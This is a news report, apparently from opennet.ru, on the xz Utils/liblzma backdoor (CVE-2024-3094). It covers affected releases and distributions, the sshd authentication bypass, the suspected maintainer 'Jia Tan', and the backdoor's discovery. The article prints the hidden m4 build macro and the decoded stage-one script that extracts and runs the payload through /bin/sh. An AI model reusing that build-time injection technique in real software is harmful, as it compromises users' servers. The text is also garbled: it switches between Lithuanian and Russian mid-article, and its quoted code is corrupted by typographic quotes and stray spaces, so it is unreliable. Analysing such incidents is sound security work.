„XZ Utils“ pakete, į kurį įeina „liblzma“ biblioteka ir paslaugos, skirtos darbui su suspaustais duomenimis „.xz“ formatu, buvo identifikuotos užpakalinės durys (CVE-2024-3094), leidžiančios perimti ir keisti duomenis, apdorojamus susijusių programų. su liblzmos biblioteka. Pagrindinis užpakalinių durų tikslas yra OpenSSH serveris, kuris kai kuriuose platinimuose yra susietas su libsystemd biblioteka, kuri savo ruožtu naudoja liblzma. Sshd susiejimas su pažeidžiama biblioteka leidžia užpuolikams gauti prieigą prie SSH serverio be autentifikavimo.
Бэкдор присутствовал в официальных выпусках 5.6.0 и 5.6.1, опубликованных 24 февраля и 9 марта, которые успели попасть в состав некоторых дистрибутивов и репозиториев, например, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide и 40-beta, openSUSE factory и tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Всем пользователям выпусков xz 5.6.0 и 5.6.1 рекомендуется срочно откатиться на версию 5.4.6.
Из сглаживающих проблему факторов можно отметить то, что версия liblzma c бэкдором не успела войти в состав стабильных выпусков крупных дистрибутивов, но затронула openSUSE Tumbleweed и Fedora 40-beta. Arch Linux и Gentoo использовали уязвимую версию zx, но не подвержены атаке, так как не применяют к openssh патч для поддержки systemd-notify, приводящий к связыванию sshd к liblzma. Бэкдор затрагивает только системы x86_64 на базе ядра Linux и Си-библиотеки Glibc.
Užpakalinių durų aktyvinimo kodas buvo paslėptas m4 makrokomandose iš build-to-host.m4 failo, kurį naudojo automake įrankių rinkinys kurdamas. Surinkimo metu, vykdant sudėtingas užmaskuotas operacijas, pagrįstas archyvais (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), naudojamais veikimo teisingumui patikrinti, buvo sugeneruotas objekto failas su kenkėjišku kodu, kuris buvo įtrauktas į liblzma biblioteką ir pakeitė kai kurių jos funkcijų veikimo logiką. M4 makrokomandos, kurios suaktyvina užpakalines duris, buvo įtrauktos į išleidimo tarbalus, tačiau jų nebuvo „Git“ saugykloje. Tuo pat metu saugykloje buvo ir kenkėjiškų testų archyvų, t.y. užpakalines duris įdiegęs asmuo turėjo prieigą ir prie saugyklos, ir prie leidimų generavimo procesų.
Naudojant liblzma programose, kenkėjiški pakeitimai gali būti naudojami duomenims perimti ar modifikuoti arba paveikti sshd veikimą. Visų pirma, kenkėjiškas kodas suklastojo funkciją RSA_public_decrypt, kad apeitų sshd autentifikavimo procesą. Užpakalinės durys apėmė apsaugą nuo aptikimo ir nepasireiškė, kai buvo nustatyti aplinkos kintamieji LANG ir TERM (t. y. vykdant procesą terminale), o aplinkos kintamieji LD_DEBUG ir LD_PROFILE nebuvo nustatyti, taip pat buvo aktyvuojami tik vykdant /usr/sbin/sshd vykdomąjį failą. Užpakalinės durys taip pat turėjo priemonę, leidžiančią aptikti vykdymą derinimo aplinkoje.
Visų pirma, faile m4/build-to-host.m4 buvo naudojamas gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
В первой конструкции операция grep находила файл tests/files/bad-3-corrupt_lzma2.xz, при распаковке которого формировался сценарий: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir=»../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####
Каким образом злоумышленникам удалось получить доступ к инфраструктуре проекта xz пока до конца не выяснено. Так же пока не ясно как много пользователей и проектов были скомпрометированы в результате действия бэкдора. Предполагаемый автор бэкдора (JiaT75 — Jia Tan), разместивший в репозитории архивы с вредоносным кодом, переписывался с разработчиками Fedora и отправлял pull-запросы в Debian, связанные с переходом дистрибутивов на ветку xz 5.6.0, и не вызвал подозрений, так как участвовал в разработке xz на протяжении последних двух лет и является вторым разработчиком по числу внесённых изменений. Помимо проекта xz предполагаемый автор бэкдора также участвовал в разработке пакетов xz-java и xz-embedded. Более того, Jia Tan несколько дней назад был включён в число мэёнтейнеров проекта XZ Embedded, используемого в ядре Linux.
Вредоносное изменение было выявлено после анализа излишнего потребления CPU и ошибок, выдаваемых valgrind, при подключении через ssh к системам на базе Debian sid. Примечательно, что в релиз xz 5.6.1 были включены изменения, подготовленные предполагаемым автором бэкдора в ответ на жалобы о замедлении работы и сбоях sshd, возникшие после обновления до версии zx 5.6.0 с бэкдором. Кроме того, в прошлом году Jia Tan внёс изменения, несовместимые с режимом проверки «-fsanitize=address», что привело к его отключению при fuzzing-тестировании.
Šaltinis: opennet.ru
